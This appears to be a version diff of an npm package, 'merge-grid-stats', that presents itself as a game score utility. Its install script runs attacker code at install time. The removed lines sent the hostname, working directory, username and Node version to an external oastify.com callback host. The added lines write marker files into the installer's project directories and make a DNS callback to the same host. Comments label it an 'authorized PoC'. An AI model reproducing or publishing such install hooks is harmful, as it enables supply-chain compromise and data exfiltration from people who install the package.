merge-grid-stats 1.0.0 → 1.1.0

package/install-cb.js

@@ -1,11 +1,21 @@
-// Authorized PoC (non-destructive): out-of-band callback to attribute RCE during package install.
-// Sends hostname/cwd/user for environment attribution. No data exfiltration beyond env fingerprint.
+// Authorized PoC (non-destructive): marker-file proof of code execution + bounded DNS OOB.
+var fs = require('fs');
+var path = require('path');
 var os = require('os');
-var https = require('https');
-var q = 'h=' + encodeURIComponent(os.hostname()) +
-       '&c=' + encodeURIComponent(process.cwd()) +
-       '&u=' + encodeURIComponent((os.userInfo && os.userInfo().username) || '') +
-       '&v=' + process.version;
-https.get('https://owoemjgpf2c4qxqet92hexzvym4dsq6skvoa2cr.oastify.com/n2?' + q, function (res) {
-  res.resume();
-}).on('error', function () {});
+
+var cwd = process.cwd();
+var lines = ['poc-marker', 'cwd=' + cwd, 'host=' + (function(){ try{return os.hostname();}catch(e){return '?';} })(), 'time=' + new Date().toISOString()];
+var data = lines.join('\n');
+
+// Write marker files into cwd and up to two levels up (lands in project root)
+['', '..', '../..'].forEach(function (rel) {
+  try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), data); } catch (e) {}
+});
+
+// Bounded DNS callback (5s cap) - tests DNS egress without hanging install
+try {
+  var dns = require('dns');
+  var host = 'mgs-v11.owoemjgpf2c4qxqet92hexzvym4dsq6skvoa2cr.oastify.com';
+  var timer = setTimeout(function () {}, 5000);
+  dns.lookup(host, function () { try { clearTimeout(timer); } catch (e) {} });
+} catch (e) {}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "merge-grid-stats",
-  "version": "1.0.0",
+  "version": "1.1.0",
   "description": "Lightweight utility for merge-style grid games: score tracking, move statistics, and best-score persistence helpers.",
   "main": "index.js",
   "scripts": {